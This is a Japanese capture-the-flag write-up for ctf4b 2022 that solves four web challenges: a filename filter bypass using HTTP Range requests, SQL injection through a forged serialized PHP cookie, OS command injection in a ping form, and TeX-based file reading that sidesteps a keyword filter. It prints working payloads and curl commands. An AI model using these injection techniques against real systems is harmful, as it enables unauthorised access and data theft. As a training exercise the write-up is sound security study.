ctf4b 2022 writeup
gallery
file_extension=hoge
でやると拡張子がhogeのファイルが取得できそう
ソースコードを見ると
func getImageList(fileExtension string) ([]string, error) {
files, err := os.ReadDir("static")
if err != nil {
return nil, err
}
res := make([]string, 0, len(files))
for _, file := range files {
if !strings.Contains(file.Name(), fileExtension) {
continue
}
res = append(res, file.Name())
}
return res, nil
}
strings.Containsでクエリの文字が含まれているかどうかを判断しているので実際には拡張子ではなく、ファイル名でも一致していれば取得できることがわかる
fileExtension = strings.ReplaceAll(fileExtension, "flag", "")
flagに関するものを取得したいがflagは無効化されてしまうことがわかる
しかし、前述したように一文字でも入っていればファイル一覧が取得できるのでfだけで検索をかけるとflag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf
というファイルが確認できる
これについて確認したいが
func (w *MyResponseWriter) Write(data []byte) (int, error) {
filledVal := []byte("?")
length := len(data)
if length > w.lengthLimit {
w.ResponseWriter.Write(bytes.Repeat(filledVal, length))
return length, nil
}
w.ResponseWriter.Write(data[:length])
return length, nil
}
func middleware() func(http.Handler) http.Handler {
return func(h http.Handler) http.Handler {
return http.HandlerFunc(func(rw http.ResponseWriter, r *http.Request) {
h.ServeHTTP(&MyResponseWriter{
ResponseWriter: rw,
lengthLimit: 10240, // SUPER SECURE THRESHOLD
}, r)
})
}
}
10240byteを超えると、ファイルサイズ分の?が返ってくるようになっており、flagを取得できない
以下、チームメイトがsolve
flagのpdfの?の数を数えると16085であることがわかる
そこで、Range
headerを用いて半分ずつ取得し、結合する
$ wget --header='Range: bytes=0-8085' https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf
$ wget --header='Range: bytes=8086-16085' https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf
$ cat flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf.1 > flag.pdf
serial
Todoリストを作成するアプリ
SQL絡んでそうなdatabase.phpを見るとfindUserByNameがprepared statementを使っていないためSQLインジェクションできそうなことがわかる
/**
* findUserByName finds a user from database by given userId.
*
* @deprecated this function might be vulnerable to SQL injection. DO NOT USE THIS FUNCTION.
*/
public function findUserByName($user = null)
{
if (!isset($user->name)) {
throw new Exception('invalid user name: ' . $user->user);
}
$sql = "SELECT id, name, password_hash FROM users WHERE name = '" . $user->name . "' LIMIT 1";
$result = $this->_con->query($sql);
if (!$result) {
throw new Exception('failed query for findUserByNameOld ' . $sql);
}
while ($row = $result->fetch_assoc()) {
$user = new User($row['id'], $row['name'], $row['password_hash']);
}
return $user;
}
findUserByNameをどこで使っているのか見るとsignup.phpとuser.phpで使用されていることがわかる
signup.phpでは、user登録されたのちにfindUserByNameで実際に登録されているか確認している
$name = $_POST['name'];
$pass = password_hash($_POST['pass'], PASSWORD_DEFAULT);
$user = new User(-1, $name, $pass);
try {
$db = new Database();
$db->insertUser($user);
$user = $db->findUserByName($user);
if (!$user->isValid()) {
throw new Exception("invalid user: " . $user->__toString());
}
} catch (Exception $e) {
var_dump($e->getMessage());
}
setcookie("__CRED", base64_encode(serialize($user)));
そのため、userにSQL injectionを行えばinjectionできそうだったが、Userクラスでエスケープされてしまっていた
public function __construct($id = null, $name = null, $password_hash = null)
{
$this->id = htmlspecialchars($id);
$this->name = htmlspecialchars(str_replace(self::invalid_keywords, "?", $name));
$this->password_hash = $password_hash;
}
しかし、見返すとsignup.phpの最後にてsetcookie("__CRED", base64_encode(serialize($user)));
userをシリアライズしてbase64エンコードしたものをcookieに保存していることがわかった。
また、ログインにも用いられており、
- cookieに保存されている情報をデシリアライズ
- デシリアライズしたものをfindUserByNameを用いてuserが登録されているか確認
- cookieに保存されていたものとfindUserByNameで返ってきたuserのpasswordが一致していればcookieにfindUserByNameで返ってきたuserをシリアライズ、エンコードし保存
という流れになっている。
function login()
{
if (empty($_COOKIE["__CRED"])) {
return false;
}
$user = unserialize(base64_decode($_COOKIE['__CRED']));
// check if the given user exists
try {
$db = new Database();
$storedUser = $db->findUserByName($user);
} catch (Exception $e) {
die($e->getMessage());
}
// var_dump($user);
// var_dump($storedUser);
if ($user->password_hash === $storedUser->password_hash) {
// update stored user with latest information
// die($storedUser);
setcookie("__CRED", base64_encode(serialize($storedUser)));
return true;
}
return false;
}
cookieに保存されているものは書き換えることができるので、cookie情報を上書きしてしまえばSQL injectionができてしまえそうだと推測。
よって、まずは適当なuser名とpasswordでログイン
その後、cookie情報を手元でデコード、デシリアライズし、nameを上書きする。
具体的には以下のコードを用いた
class User
{
private const invalid_keywords = array("UNION", "'", "FROM", "SELECT", "flag");
public $id;
public $name;
public $password_hash;
public function __construct($id = null, $name = null, $password_hash = null)
{
$this->id = htmlspecialchars($id);
$this->name = htmlspecialchars(str_replace(self::invalid_keywords, "?", $name));
$this->password_hash = $password_hash;
}
public function __toString()
{
return "id: " . $this->id . ", name: " . $this->name . ", pass: " . $this->password_hash;
}
public function isValid()
{
return isset($this->id) && isset($this->name) && isset($this->password_hash);
}
}
$a = "Tzo0OiJVc2VyIjozOntzOjI6ImlkIjtzOjQ6IjEyMTkiO3M6NDoibmFtZSI7czo4OiJob2dlaG9nZSI7czoxMzoicGFzc3dvcmRfaGFzaCI7czo2MDoiJDJ5JDEwJE90Z3pDQmVQcVFCMU5GTXFFUmI1V3VMNXNoaWg2am9PL21KZ0Z2aE1TVVdPR3BjNzJ5NlI2Ijt9";
$a_obj = unserialize(base64_decode($a));
$a_obj->name = "' union select 1, body, concat('\$2y\$10\$OtgzCBePqQB1NFMqERb5WuL5shih6joO/mJgFvhMSUWOGpc72y6R6') from flags #";
print(serialize($a_obj));
cookieを上書きして更新したのち、再度cookieをデコードするとflagが書き込まれている
Util
ping checkというタイトルとIPアドレスを入力するフォームがある
ソースコードを見るとAddressが結合されてそのままコマンドを叩くようになっている
commnd := "ping -c 1 -W 1 " + param.Address + " 1>&2"
result, _ := exec.Command("sh", "-c", commnd).CombinedOutput()
OSコマンドインジェクションができそうだと推測
$ curl -X POST -d "Address=127.0.0.1|ls ../" https://util.quals.beginners.seccon.jp/util/ping
{"result":"app\nbin\ndev\netc\nflag_A74FIBkN9sELAjOc.txt\nhome\nlib\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n"}
flag_A74FIBkN9sELAjOc.txt
というファイルがあることを確認できる
curl -X POST -d "Address=127.0.0.1|cat ../flag_A74FIBkN9sELAjOc.txt" https://util.quals.beginners.seccon.jp/util/ping
{"result":"ctf4b{al1_0vers_4re_i1l}\n"}
catでflagを入手
textex
入力したtexをpdfにしてくれるっぽい
tex exploitとかで調べたらこのサイトが出てきた
ひとまずrequirements.txt
が表示できたのでflagも同じように表示できそう
\input{requirements.txt}
しかしながらflagが含まれていると無効化されてしまうことがソースコードからわかる
# No flag !!!!
if "flag" in tex_code.lower():
tex_code = ""
以下チームメイトがsolve
\def \g {g}
\def \f {fla\g}
\documentclass{article}
\begin{document}
\newread\file
\openin\file=\f
\read\file to\fileline
\detokenize\expandafter{\fileline}
\closein\file
\end{document}
\def
を用いてflagをバイパスすること、flagの中の_
がエラーになってしまうらしいので無効化しているらしい
チームメイトが天才でした
Discussion